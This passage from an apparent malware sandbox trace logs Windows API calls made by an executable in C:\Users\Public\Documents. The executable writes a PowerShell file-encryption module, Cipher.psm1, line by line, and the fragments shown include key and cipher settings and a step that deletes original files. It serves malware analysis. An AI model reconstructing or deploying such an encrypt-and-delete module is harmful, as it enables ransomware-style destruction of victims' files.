lpNumberOfBytesRead=0x1cd8a8*=0x1, lpOverlapped=0x0) returned 1 [0063.427] GetConsoleTitleW (in: lpConsoleTitle=0x1cd6cc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x140) returned 0x6081e8 [0063.427] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6081e8, Size=0x80) returned 0x6081e8 [0063.427] GetProcessHeap () returned 0x5d0000 [0063.427] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6081e8) returned 0x80 [0063.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xae) returned 0x608270 [0063.428] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd694 | out: _Buffer=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n") returned 78 [0063.428] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.428] GetFileType (hFile=0x1c) returned 0x1 [0063.428] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n", lpUsedDefaultChar=0x0) returned 79 [0063.428] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x1cd680, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd680*=0x4e, lpOverlapped=0x0) returned 1 [0063.428] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.430] _close (_FileHandle=3) returned 0 [0063.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb528 [0063.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.430] GetFileType (hFile=0x7) returned 0x2 [0063.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.431] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd868 | out: lpMode=0x1cd868) returned 1 [0063.431] _dup (_FileHandle=1) returned 3 [0063.431] _close (_FileHandle=1) returned 0 [0063.432] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.432] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd838, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.432] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.432] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.432] GetFileType (hFile=0x1c) returned 0x1 [0063.432] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10d9 [0063.432] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd850*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd850*=0) returned 0x10d8 [0063.432] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd848, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd844, lpOverlapped=0x0 | out: lpBuffer=0x1cd848*, lpNumberOfBytesRead=0x1cd844*=0x1, lpOverlapped=0x0) returned 1 [0063.432] GetConsoleTitleW (in: lpConsoleTitle=0x1cd668, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe4) returned 0x608328 [0063.433] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608328, Size=0x4e) returned 0x608328 [0063.433] GetProcessHeap () returned 0x5d0000 [0063.433] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608328) returned 0x4e [0063.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x80) returned 0x608380 [0063.433] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd630 | out: _Buffer=" $result = Get-Item $DestinationFile \r\n") returned 55 [0063.433] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.433] GetFileType (hFile=0x1c) returned 0x1 [0063.433] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result = Get-Item $DestinationFile \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result = Get-Item $DestinationFile \r\n", lpUsedDefaultChar=0x0) returned 56 [0063.433] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x1cd61c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd61c*=0x37, lpOverlapped=0x0) returned 1 [0063.433] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.435] _close (_FileHandle=3) returned 0 [0063.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb548 [0063.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.435] GetFileType (hFile=0x7) returned 0x2 [0063.436] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.436] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd804 | out: lpMode=0x1cd804) returned 1 [0063.436] _dup (_FileHandle=1) returned 3 [0063.436] _close (_FileHandle=1) returned 0 [0063.437] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.437] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd7d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.437] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.437] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.437] GetFileType (hFile=0x1c) returned 0x1 [0063.437] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1110 [0063.437] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd7ec*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7ec*=0) returned 0x110f [0063.437] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd7e4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd7e0, lpOverlapped=0x0 | out: lpBuffer=0x1cd7e4*, lpNumberOfBytesRead=0x1cd7e0*=0x1, lpOverlapped=0x0) returned 1 [0063.437] GetConsoleTitleW (in: lpConsoleTitle=0x1cd604, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.438] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a8) returned 0x608408 [0063.438] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608408, Size=0xb4) returned 0x608408 [0063.438] GetProcessHeap () returned 0x5d0000 [0063.438] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608408) returned 0xb4 [0063.438] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe2) returned 0x6084c8 [0063.438] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd5cc | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n") returned 104 [0063.438] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.438] GetFileType (hFile=0x1c) returned 0x1 [0063.438] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n", lpUsedDefaultChar=0x0) returned 105 [0063.438] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1cd5b8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd5b8*=0x68, lpOverlapped=0x0) returned 1 [0063.438] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.440] _close (_FileHandle=3) returned 0 [0063.440] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb568 [0063.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.440] GetFileType (hFile=0x7) returned 0x2 [0063.441] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.441] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd7a0 | out: lpMode=0x1cd7a0) returned 1 [0063.441] _dup (_FileHandle=1) returned 3 [0063.441] _close (_FileHandle=1) returned 0 [0063.442] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.442] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd770, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.442] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.442] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.442] GetFileType (hFile=0x1c) returned 0x1 [0063.442] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1178 [0063.442] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd788*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd788*=0) returned 0x1177 [0063.442] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd780, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd77c, lpOverlapped=0x0 | out: lpBuffer=0x1cd780*, lpNumberOfBytesRead=0x1cd77c*=0x1, lpOverlapped=0x0) returned 1 [0063.442] GetConsoleTitleW (in: lpConsoleTitle=0x1cd5a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x194) returned 0x6085b8 [0063.442] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6085b8, Size=0xaa) returned 0x6085b8 [0063.442] GetProcessHeap () returned 0x5d0000 [0063.442] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6085b8) returned 0xaa [0063.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd8) returned 0x608670 [0063.443] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd568 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n") returned 99 [0063.443] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.443] GetFileType (hFile=0x1c) returned 0x1 [0063.443] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n", lpUsedDefaultChar=0x0) returned 100 [0063.443] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1cd554, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd554*=0x63, lpOverlapped=0x0) returned 1 [0063.443] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.445] _close (_FileHandle=3) returned 0 [0063.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb588 [0063.445] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.445] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.445] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.445] GetFileType (hFile=0x7) returned 0x2 [0063.445] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.445] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd73c | out: lpMode=0x1cd73c) returned 1 [0063.446] _dup (_FileHandle=1) returned 3 [0063.446] _close (_FileHandle=1) returned 0 [0063.447] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.447] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd70c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.447] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.447] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.447] GetFileType (hFile=0x1c) returned 0x1 [0063.447] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11db [0063.447] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd724*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd724*=0) returned 0x11da [0063.447] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd71c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd718, lpOverlapped=0x0 | out: lpBuffer=0x1cd71c*, lpNumberOfBytesRead=0x1cd718*=0x1, lpOverlapped=0x0) returned 1 [0063.447] GetConsoleTitleW (in: lpConsoleTitle=0x1cd53c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x164) returned 0x608750 [0063.447] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608750, Size=0x92) returned 0x608750 [0063.447] GetProcessHeap () returned 0x5d0000 [0063.447] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608750) returned 0x92 [0063.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc0) returned 0x6087f0 [0063.447] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd504 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n") returned 87 [0063.448] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.448] GetFileType (hFile=0x1c) returned 0x1 [0063.448] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n", lpUsedDefaultChar=0x0) returned 88 [0063.448] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x1cd4f0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd4f0*=0x57, lpOverlapped=0x0) returned 1 [0063.448] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.449] _close (_FileHandle=3) returned 0 [0063.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb5a8 [0063.450] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.450] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.450] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.450] GetFileType (hFile=0x7) returned 0x2 [0063.450] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.450] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd6d8 | out: lpMode=0x1cd6d8) returned 1 [0063.451] _dup (_FileHandle=1) returned 3 [0063.451] _close (_FileHandle=1) returned 0 [0063.451] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.451] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd6a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.452] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.452] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.452] GetFileType (hFile=0x1c) returned 0x1 [0063.452] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1232 [0063.452] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd6c0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd6c0*=0) returned 0x1231 [0063.452] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd6b8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd6b4, lpOverlapped=0x0 | out: lpBuffer=0x1cd6b8*, lpNumberOfBytesRead=0x1cd6b4*=0x1, lpOverlapped=0x0) returned 1 [0063.452] GetConsoleTitleW (in: lpConsoleTitle=0x1cd4d8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a0) returned 0x6088b8 [0063.452] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6088b8, Size=0xb0) returned 0x6088b8 [0063.452] GetProcessHeap () returned 0x5d0000 [0063.452] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6088b8) returned 0xb0 [0063.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xde) returned 0x608970 [0063.452] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd4a0 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n") returned 102 [0063.452] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.452] GetFileType (hFile=0x1c) returned 0x1 [0063.452] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n", lpUsedDefaultChar=0x0) returned 103 [0063.453] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1cd48c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd48c*=0x66, lpOverlapped=0x0) returned 1 [0063.453] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.454] _close (_FileHandle=3) returned 0 [0063.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb5c8 [0063.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.455] GetFileType (hFile=0x7) returned 0x2 [0063.455] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.455] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd674 | out: lpMode=0x1cd674) returned 1 [0063.455] _dup (_FileHandle=1) returned 3 [0063.456] _close (_FileHandle=1) returned 0 [0063.456] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.456] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd644, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.456] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.456] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.456] GetFileType (hFile=0x1c) returned 0x1 [0063.456] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1298 [0063.456] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd65c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd65c*=0) returned 0x1297 [0063.456] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd654, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd650, lpOverlapped=0x0 | out: lpBuffer=0x1cd654*, lpNumberOfBytesRead=0x1cd650*=0x1, lpOverlapped=0x0) returned 1 [0063.456] GetConsoleTitleW (in: lpConsoleTitle=0x1cd474, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1b0) returned 0x608a58 [0063.457] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608a58, Size=0xb8) returned 0x608a58 [0063.457] GetProcessHeap () returned 0x5d0000 [0063.457] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608a58) returned 0xb8 [0063.457] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe6) returned 0x608b18 [0063.457] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd43c | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n") returned 106 [0063.457] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.457] GetFileType (hFile=0x1c) returned 0x1 [0063.457] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n", lpUsedDefaultChar=0x0) returned 107 [0063.457] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1cd428, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd428*=0x6a, lpOverlapped=0x0) returned 1 [0063.457] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.459] _close (_FileHandle=3) returned 0 [0063.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb5e8 [0063.459] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.459] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.459] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.459] GetFileType (hFile=0x7) returned 0x2 [0063.459] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.459] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd610 | out: lpMode=0x1cd610) returned 1 [0063.460] _dup (_FileHandle=1) returned 3 [0063.460] _close (_FileHandle=1) returned 0 [0063.461] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.461] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd5e0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.461] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.461] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.461] GetFileType (hFile=0x1c) returned 0x1 [0063.461] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1302 [0063.461] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd5f8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5f8*=0) returned 0x1301 [0063.461] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd5f0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd5ec, lpOverlapped=0x0 | out: lpBuffer=0x1cd5f0*, lpNumberOfBytesRead=0x1cd5ec*=0x1, lpOverlapped=0x0) returned 1 [0063.461] GetConsoleTitleW (in: lpConsoleTitle=0x1cd410, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa8) returned 0x608c08 [0063.461] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608c08, Size=0x1e) returned 0x608c08 [0063.461] GetProcessHeap () returned 0x5d0000 [0063.461] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608c08) returned 0x1e [0063.461] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x602c20 [0063.462] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd3d8 | out: _Buffer=" $result } \r\n") returned 40 [0063.462] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.462] GetFileType (hFile=0x1c) returned 0x1 [0063.462] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result } \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result } \r\n", lpUsedDefaultChar=0x0) returned 41 [0063.462] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x1cd3c4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd3c4*=0x28, lpOverlapped=0x0) returned 1 [0063.462] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.503] _close (_FileHandle=3) returned 0 [0063.504] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb608 [0063.504] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.504] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.504] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.504] GetFileType 